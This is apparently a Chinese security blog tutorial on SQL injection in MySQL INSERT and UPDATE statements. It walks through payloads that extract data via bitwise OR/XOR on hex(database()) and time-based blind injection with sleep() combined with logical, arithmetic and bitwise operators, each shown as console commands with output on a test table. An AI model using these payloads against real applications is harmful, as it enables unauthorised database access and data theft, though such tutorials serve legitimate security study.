Insert Update SQL注入实战分析

  • A+
所属分类:网络安全文章
腾讯云网站解决方案帮您轻松应对建站成本高/网络不稳定/安全漏洞多/单点部署无冗余等常见问题,满足电商/直播/教育等日均PV1-100万的网站部署需求。


成都、重庆区云产品3折特惠,全新机型计算提速,最高睿频可达3.7GHz

Insert Update SQL注入实战分析

1.有回显注入

int型注入点和字符型都采用按位或|和按位异或^获取数据。
如果拼接的值为0,可以采用按位或|运算显示查询到的数据,如果拼接的值不是0(以100为例),可以采用按位异或^运算显示运算后的数据,然后再异或一次可以恢复查询的数据。

注意查询到的数据经过hex转换,如果值大于Mysql bigint 最大值9223372036854775807时,获取到的数据均为9223372036854775807,此时要用substr等分段获取数据。

  1. #int型按位或
  2. mysql> insert into ctf values (0 | (select hex(database())),'0','test','0');
  3. Query OK, 1 row affected, 1 warning (0.03 sec)
  4. mysql> select * from ctf;
  5. +----------+----------+-----------+------+
  6. | userid   | username | signature | mood |
  7. +----------+----------+-----------+------+
  8. 74657374 | 0        | test      | 0    |
  9. +----------+----------+-----------+------+
  10. 1 row in set (0.00 sec)
  11. mysql> select unhex(74657374);
  12. +-----------------+
  13. | unhex(74657374) |
  14. +-----------------+
  15. | test            |
  16. +-----------------+
  17. 1 row in set (0.00 sec)
  18. #int型按位异或
  19. mysql> insert into ctf values (100 ^ (select hex(database())),'0','test','0');
  20. Query OK, 1 row affected, 1 warning (0.03 sec)
  21. mysql> select * from ctf;
  22. +----------+----------+-----------+------+
  23. | userid   | username | signature | mood |
  24. +----------+----------+-----------+------+
  25. 74657338 | 0        | test      | 0    |
  26. +----------+----------+-----------+------+
  27. 1 row in set (0.00 sec)
  28. mysql> select unhex(100^74657338);
  29. +---------------------+
  30. | unhex(100^74657338) |
  31. +---------------------+
  32. | test                |
  33. +---------------------+
  34. 1 row in set (0.00 sec)
  35. #字符型按位或
  36. mysql> insert into ctf values (100 ,'0'| (select hex(database())) ,'test','0');
  37. Query OK, 1 row affected (0.02 sec)
  38. mysql> select * from ctf;
  39. +--------+----------+-----------+------+
  40. | userid | username | signature | mood |
  41. +--------+----------+-----------+------+
  42. |    100 | 74657374 | test      | 0    |
  43. +--------+----------+-----------+------+
  44. 1 row in set (0.00 sec)
  45. mysql> select unhex(74657374);
  46. +-----------------+
  47. | unhex(74657374) |
  48. +-----------------+
  49. | test            |
  50. +-----------------+
  51. 1 row in set (0.00 sec)
  52. #字符型按位异或
  53. mysql> insert into ctf values (100 ,'100' ^ (select hex(database())) ,'test','0');
  54. Query OK, 1 row affected (0.03 sec)
  55. mysql> select * from ctf;
  56. +--------+----------+-----------+------+
  57. | userid | username | signature | mood |
  58. +--------+----------+-----------+------+
  59. |    100 | 74657338 | test      | 0    |
  60. +--------+----------+-----------+------+
  61. 1 row in set (0.00 sec)
  62. mysql> select unhex('100'^74657338);
  63. +-----------------------+
  64. | unhex('100'^74657338) |
  65. +-----------------------+
  66. | test                  |
  67. +-----------------------+
  68. 1 row in set (0.00 sec)

同理可以使用其他可进行逆运算的运算符(+,-,*,/)获取查询数据,由于逻辑运算后的结果只有1或者0,所以or,||,xor,&&,and直接不能用于数据回显的注入情况。

2.时间盲注

int型时间盲注点

可以使用 and,&&,or,||,xor拼接sql代码。如下可以看出and,&&前面的int值不能为0;or,||前面的int值不能为1;而xor对前面int的值没有要求,所以推荐使用xor

  1. mysql> insert into ctf values (0 && sleep(2),'test','test','0');
  2. Query OK, 1 row affected (0.03 sec)
  3. mysql> insert into ctf values (1 && sleep(2),'test','test','0');
  4. Query OK, 1 row affected (2.02 sec)
  5. mysql> insert into ctf values (0 || sleep(2),'test','test','0');
  6. Query OK, 1 row affected (2.03 sec)
  7. mysql> insert into ctf values (1 || sleep(2),'test','test','0');
  8. Query OK, 1 row affected (0.02 sec)
  9. mysql> insert into ctf values (0 xor sleep(2),'test','test','0');
  10. Query OK, 1 row affected (2.09 sec)
  11. mysql> insert into ctf values (1 xor sleep(2),'test','test','0');
  12. Query OK, 1 row affected (2.01 sec)
  13. int型注入点,也可以使用四则运算:+,-,*,/。  
  14. mysql> insert into ctf values (0+sleep(2),'test','test','0');
  15. Query OK, 1 row affected (2.04 sec)
  16. mysql> insert into ctf values (0-sleep(2),'test','test','0');
  17. Query OK, 1 row affected (2.05 sec)
  18. mysql> insert into ctf values (0*sleep(2),'test','test','0');
  19. Query OK, 1 row affected (2.03 sec)
  20. mysql> insert into ctf values (0/sleep(2),'test','test','0');
  21. Query OK, 1 row affected (2.02 sec)
  22. 此外还能使用位运算&,|  
  23. mysql> insert into ctf values (0&sleep(2),'test','test','0');
  24. Query OK, 1 row affected (2.02 sec)
  25. mysql> insert into ctf values (0|sleep(2),'test','test','0');
  26. Query OK, 1 row affected (2.02 sec)

字符型时间盲注点

可以使用:or,||,xor,+,-,*,/,|,&,字符型在进行逻辑运算时会当做0,不能使用&&,and。

  1. mysql> insert into ctf values (0,'test' and sleep(2),'test','0');
  2. Query OK, 1 row affected, 1 warning (0.03 sec)
  3. mysql> insert into ctf values (0,'test' && sleep(2),'test','0');
  4. Query OK, 1 row affected, 1 warning (0.03 sec)
  5. mysql> insert into ctf values (0,'test' || sleep(2),'test','0');
  6. Query OK, 1 row affected, 1 warning (2.03 sec)
  7. mysql> insert into ctf values (0,'test'or sleep(2),'test','0');
  8. Query OK, 1 row affected, 1 warning (2.03 sec)
  9. mysql> insert into ctf values (0,'test'xor sleep(2),'test','0');
  10. Query OK, 1 row affected, 1 warning (2.02 sec)
  11. mysql> insert into ctf values (0,'test'| sleep(2),'test','0');
  12. Query OK, 1 row affected, 1 warning (2.03 sec)
  13. mysql> insert into ctf values (0,'test'& sleep(2),'test','0');
  14. Query OK, 1 row affected, 1 warning (2.03 sec)
  15. mysql> insert into ctf values (0,'test'+ sleep(2),'test','0');
  16. Query OK, 1 row affected, 1 warning (2.06 sec)
  17. mysql> insert into ctf values (0,'test'- sleep(2),'test','0');
  18. Query OK, 1 row affected, 1 warning (2.02 sec)
  19. mysql> insert into ctf values (0,'test'* sleep(2),'test','0');
  20. Query OK, 1 row affected, 1 warning (2.02 sec)
  21. mysql> insert into ctf values (0,'test'/ sleep(2),'test','0');
  22. Query OK, 1 row affected, 1 warning (2.02 sec)
CE安全网

发表评论

您必须登录才能发表评论!